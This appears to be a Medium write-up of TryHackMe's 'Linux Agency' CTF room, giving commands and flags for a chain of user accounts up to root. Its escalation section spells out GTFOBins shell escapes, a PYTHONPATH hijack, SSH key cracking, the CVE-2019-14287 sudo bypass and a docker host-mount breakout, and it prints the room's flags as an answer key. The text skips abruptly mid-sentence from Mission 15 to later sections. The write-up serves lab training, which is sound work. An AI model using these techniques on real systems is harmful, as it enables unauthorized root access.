
“Agent 47, your mission begins. 30 targets stand between you and the root.”
Author:
LinkedIn:
Difficulty Medium
Category Linux Fundamentals + Privilege Escalation
Initial Access SSH (agent47)🎯 About This Room
Linux Agency is one of the most comprehensive Linux-focused rooms on TryHackMe. You play the role of Agent 47 — a secret agent tasked with infiltrating the ICA Agency, chaining through 30 mission accounts, eliminating special targets, and ultimately achieving root.
This room goes far beyond basic Linux commands — it forces you to think like a real penetration tester. Topics covered:
- 🐧 Deep Linux fundamentals (hidden files, permissions, environment variables)
- 💻 Multiple programming languages (Python, Ruby, Java, C)
- 🔐 Encoding/decoding (Base64, Binary, Hex)
- 📅 Cron job exploitation
- ⚡ Sudo privilege escalation via GTFOBins
- 🐳 Docker privilege escalation
- 🔑 SSH private key cracking
🛠️ Tools Used
- ssh, su, find, grep, cat, ls, strings, file
- base64, xxd
- gcc, javac, java, python3, ruby
- netcat (nc)
- ssh2john + john (John the Ripper)
- ss (socket statistics)
- GTFOBins
- Docker
⚙️ Setup
Start the machine on TryHackMe and wait about a minute. Then connect:
ssh agent47@<MACHINE_IP>Password: 640509040147
Once connected you’ll see:
agent47@linuxagency:~$The mission begins. 🚀
🗂️ Task 2: Initial Access
The room’s mechanic is straightforward:
- Every flag found acts as the password for the next user
- Flag format: missionX{md5_hash}
- Chain: agent47 → mission1 → mission2 → ... → mission30 → viktor → ...
🔍 Task 3: Linux Fundamentals (Mission 1–30 + Viktor)
🎯 Mission 1
As agent47, the first task is finding mission1’s flag.
find / -type f -name "*.txt" 2>/dev/null
# Or directly check:
ls /home/mission1/
cat /home/mission1/<flag_file>Now switch to mission1:
su mission1
# Password: mission1{174dc8f191bcbb161fe25f8a5b58d1f0}💡 What we learned: find for filesystem-wide searching, understanding the /home directory structure.🎯 Mission 2
As mission1:
find / -type f -name "mission2" 2>/dev/null
cat <found_path>su mission2
# Password: mission2{8a1b68bb11e4a35245061656b5b9fa0d}🎯 Mission 3
# As mission2:
grep -r "mission3" . 2>/dev/nullsu mission3
# Password: mission3{ab1e1ae5cba688340825103f70b0f976}💡 What we learned: grep -r for recursive content searching across directories.🎯 Mission 4
# As mission3:
cd /home/mission3
ls
cat flag.txtsu mission4
# Password: mission4{264a7eeb920f80b3ee9665fafb7ff92d}🎯 Missions 5–8
These follow a similar pattern — searching the filesystem:
# As mission4:
grep -r "mission5" / 2>/dev/null
su mission5
# Password: mission5{bc67906710c3a376bcc7bd25978f62c0}# As mission5:
grep -r "mission6" / 2>/dev/null
su mission6
# Password: mission6{1fa67e1adc244b5c6ea711f0c9675fde}# As mission6:
grep -r "mission7" / 2>/dev/null
su mission7
# Password: mission7{53fd6b2bad6e85519c7403267225def5}# As mission7:
grep -r "mission8" / 2>/dev/null
su mission8
# Password: mission8{3bee25ebda7fe7dc0a9d2f481d10577b}🎯 Mission 9
# As mission8:
ls
cat flag.txtsu mission9
# Password: mission9{ba1069363d182e1c114bef7521c898f5}🎯 Missions 10–11
# As mission9:
grep -r "mission10" / 2>/dev/null
su mission10
# Password: mission10{0c9d1c7c5683a1a29b05bb67856524b6}# As mission10:
grep -r "mission11" / 2>/dev/null
su mission11
# Password: mission11{db074d9b68f06246944b991d433180c0}🎯 Mission 12 — Environment Variable
This time the flag is hidden inside an environment variable, not a file!
# As mission11:
env | grep mission12su mission12
# Password: mission12{f449a1d33d6edc327354635967f9a720}💡 What we learned: The env command lists all environment variables. In real-world pentesting, environment variables frequently contain credentials, API keys, and sensitive data — always check them!🎯 Mission 13 — File Permissions
# As mission12:
ls -la /home/mission12/
# flag.txt exists but you have no read permission!
chmod 777 /home/mission12/flag.txt
cat /home/mission12/flag.txtsu mission13
# Password: mission13{076124e360406b4c98ecefddd13ddb1f}💡 What we learned: Linux file permissions and chmod. Always use ls -la — the -a flag reveals hidden files and the -l flag shows permissions clearly.🎯 Mission 14 — Base64 Decode
# As mission13:
cat /home/mission13/flag.txt | base64 -dsu mission14
# Password: mission14{d598de95639514b9941507617b9e54d2}💡 What we learned: Base64 encoding/decoding. Strings ending with = or == are almost always Base64-encoded. The base64 -d flag decodes them directly in the terminal.🎯 Mission 15 — Binary → ASCII
# As mission14:
cat /home/mission14/flag.txt
# You'll see binary digits: 01101101 01101001 ...Convert the binary to ASCII using Python:
python3 -c "
binary = '01101101 01101001 01110011 01110011 01101001 01101111 01101110 00110001 00110101'
chars = binary.split()
result = ''.join([chr(int(b, 2)) for b in chars])
print(result)
"Or use an online tool: — the essential reference for abusing binaries with sudo, SUID, or capabilities. When you see sudo -l, immediately cross-reference every allowed binary against GTFOBins.
🎯 Reza — sudo + git (GTFOBins)
# As silvio:
sudo -l
# (silvio) NOPASSWD: /usr/bin/git as reza
GTFOBins git sudo escape (uses PAGER environment variable):
sudo -u reza PAGER='sh -c "exec sh 0<&1"' git -p help
id
# uid=... (reza)
cat /home/reza/flag.txt
Flag: reza{2f1901644eda75306f3142d837b80d3e}
💡 What we learned: Git’s --paginate (-p) feature invokes a pager, and by hijacking the PAGER env variable we execute arbitrary commands. Many programs that invoke external processes are susceptible to this pattern.
🎯 Jordan — PYTHONPATH Hijacking
# As reza:
sudo -l
# (reza) NOPASSWD: /opt/scripts/Gun-Shop.py as jordan
Run the script:
sudo -u jordan /opt/scripts/Gun-Shop.py
# Error: No module named 'shop'
The script imports a module called shop which doesn't exist. We can create it in a directory we control:
Step 1: Create a malicious shop module:
mkdir -p /tmp/shop
echo 'import os; os.system("/bin/bash")' > /tmp/shop/shop.py
Step 2: Override PYTHONPATH so Python finds our module first:
sudo -u jordan PYTHONPATH=/tmp/shop/ /opt/scripts/Gun-Shop.py
id
# uid=... (jordan)
cat /home/jordan/flag.txt
Flag: jordan{fcbc4b3c31c9b58289b3946978f9e3c3}
💡 What we learned: Python module hijacking — a real-world PrivEsc technique. PYTHONPATH tells Python where to search for modules before the standard library paths. If an attacker controls a directory early in that path, they can substitute any module with malicious code.
🎯 Ken — sudo + less (GTFOBins)
# As jordan:
sudo -l
# (jordan) NOPASSWD: /usr/bin/less as ken
sudo -u ken /usr/bin/less /etc/profile
Once less opens, type ! followed by:
!/bin/sh
Press Enter — you drop into a shell as ken.
id
cat /home/ken/flag.txt
Flag: ken{4115bf456d1aaf012ed4550c418ba99f}
🎯 Sean — sudo + vim (GTFOBins)
# As ken:
sudo -l
# (ken) NOPASSWD: /usr/bin/vim as sean
sudo -u sean vim -c ':!/bin/sh'
The -c flag runs a Vim command on startup. :!/bin/sh executes a shell command from within Vim.
id
cat /home/sean/flag.txt
Flag: sean{4c5685f4db7966a43cf8e95859801281}
💡 What we learned: Vim is far more than a text editor — it can execute shell commands, run scripts, and spawn processes. Granting sudo vim to any user is effectively granting root.
🎯 Penelope — Password Hidden in Base64
# As sean:
printf %s 'VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==' | base64 -d
# Output: "The password of penelope is p3nelope"
su penelope
# Password: p3nelope
cat /home/penelope/flag.txt
Flag: penelope{2da1c2e9d2bd0004556ae9e107c1d222}
🎯 Maya — SUID base64 (GTFOBins)
# As penelope:
ls -lhA /home/penelope/
# A 'base64' binary with the SUID bit set!
GTFOBins SUID base64 exploit — read files as the binary’s owner:
LFILE=/home/maya/flag.txt
./base64 "$LFILE" | base64 -d
Flag: maya{a66e159374b98f64f89f7c8d458ebb2b}
💡 What we learned: SUID (Set User ID) — when set on a binary, it executes with the file owner’s privileges rather than the caller’s. Find SUID binaries with: find / -perm -4000 2>/dev/null. Cross-reference every result with GTFOBins.
🎯 Robert — SSH Private Key Cracking
# As maya:
ls -lhA /home/maya/
ls -lhA /home/maya/old_robert_ssh/
# id_rsa and id_rsa.pub found
Step 1: Copy the private key to your local machine (new terminal tab):
scp maya@<IP>:/home/maya/old_robert_ssh/id_rsa ./id_rsa_robert
chmod 600 id_rsa_robert
Step 2: Convert the key to a crackable hash:
ssh2john id_rsa_robert > robert_ssh_hash.txt
Step 3: Crack it with John the Ripper:
john robert_ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Result: industryweapon
Step 4: Find Robert’s SSH port on the target:
# On the target machine:
ss -nlpt | grep 22
# Port 2222 is listening
Step 5: Connect:
ssh [email protected] -p 2222 -i id_rsa_robert
# Passphrase: industryweapon
cat /home/robert/user.txt
Flag (user.txt): user{620fb94d32470e1e9dcf8926481efc96}
💡 What we learned: SSH private key cracking — ssh2john extracts the hash, john cracks it. In real engagements, always look for id_rsa files in home directories, backup folders, and .ssh/ directories. Encrypted keys with weak passphrases are a common finding.
👑 Root — Two-Stage Escalation
Stage 1: CVE-2019–14287 (Sudo User ID Bypass)
# As robert:
sudo --version
# Reveals a vulnerable version (< 1.8.28)
sudo -u#-1 /bin/bash
whoami
# root!
How it works: This is CVE-2019–14287. When a sudoers rule allows a user to run commands as any user, passing -u#-1 causes sudo to interpret the user ID as 0 (root) due to an integer overflow in how sudo handles negative UIDs. Patched in sudo 1.8.28.
cd /root
ls
Stage 2: Docker Group → Root (root.txt)
# As root (inside the container/restricted environment):
id
# You're in the docker group
find / -name docker 2>/dev/null
# Found at /tmp/docker or similar
./docker ps -a
./docker image ls
# "mangoman" image exists
Mount the host filesystem into a container and chroot into it:
./docker run -v /:/mnt --rm -it mangoman chroot /mnt sh
id
# uid=0(root) gid=0(root) — TRUE host root
cat /root/root.txt
Flag (root.txt): root{62ca2110ce7df377872dd9f0797f8476}
💡 What we learned: Docker group membership is equivalent to root access. -v /:/mnt mounts the entire host filesystem into the container, and chroot /mnt makes the container treat the host filesystem as its root. This is a well-documented container escape — never add untrusted users to the docker group.
🏆 Flags Summary
User Technique Category mission1–11 find / grep / cat Basic enumeration mission12 env Environment variables mission13 chmod File permissions mission14 base64 -d Encoding mission15 Binary → ASCII Encoding mission16 xxd -r -p (Hex) Encoding mission17 chmod u+x Execute permissions mission18 javac + java Java compilation mission19 ruby Scripting mission20 gcc C compilation mission21 python3 Scripting mission22 script -qc Restricted shell escape mission23 pty.spawn() Python interpreter escape mission24 curl + /etc/hosts Virtual hosting mission25 strings + .viminfo Binary analysis mission26 export PATH PATH manipulation mission27 strings on image Steganography mission28 less Long filename edge case mission29 exec in Ruby + .reverse Ruby escape + obfuscation mission30 grep -r in CMS File enumeration viktor git log Git history dalia Writable cron script Cron job exploitation silvio sudo zip GTFOBins reza sudo git + PAGER GTFOBins jordan PYTHONPATH hijack Module hijacking ken sudo less + ! GTFOBins sean sudo vim -c GTFOBins penelope Base64 password Encoded credentials maya SUID base64 SUID exploitation robert ssh2john + john SSH key cracking root (user.txt) sudo -u#-1 CVE-2019-14287 root (root.txt) docker run -v /:/mnt Docker breakout
🧠 Key Takeaways
Linux Fundamentals:
- ls -la always — hidden files, permissions at a glance
- find and grep -r for wide enumeration
- env for environment variable inspection
- file to identify file types regardless of extension
- strings to extract readable data from binaries
Encoding & Decoding:
- Base64 (base64 -d), Hex (xxd -r -p), Binary (Python one-liner)
- Reversed strings — check file content and filenames alike
Scripting Languages:
- Python: pty.spawn("/bin/bash") for shell upgrade
- Ruby: exec "/bin/bash" or Dir/File for file ops
- Java: javac → java, C: gcc → ./binary
Privilege Escalation Checklist:
- sudo -l → GTFOBins
- find / -perm -4000 2>/dev/null → SUID binaries → GTFOBins
- cat /etc/crontab + ls /etc/cron.d/ → writable scripts run by root
- id → check group memberships (docker!)
- Check $PATH, env variables, writable directories in PATH
📚 Resources
- 🔗
- 🔗
- 🔗
💬 Final Thoughts
Linux Agency is not just a CTF room — it’s a condensed simulation of a real lateral movement and privilege escalation engagement. The 30-user chain forces you to internalize Linux enumeration as a reflex, not a checklist. The privilege escalation phase covers more ground than most dedicated PrivEsc rooms.
If you’re preparing for OSCP, CPTS or any practical security certification, this room belongs in your training regimen. Do it without hints first, refer to this write-up only when truly stuck — the struggle is where the learning happens.
Happy Hacking! 🐧
Tags: #TryHackMe #CTF #LinuxAgency #PrivilegeEscalation #Linux #Pentesting #CyberSecurity #OSCP #GTFOBins #WriteUp
If you found this useful, feel free to connect on .
on Medium, where people are continuing the conversation by highlighting and responding to this story.
SOCIAL SHARE CARD GENERATOR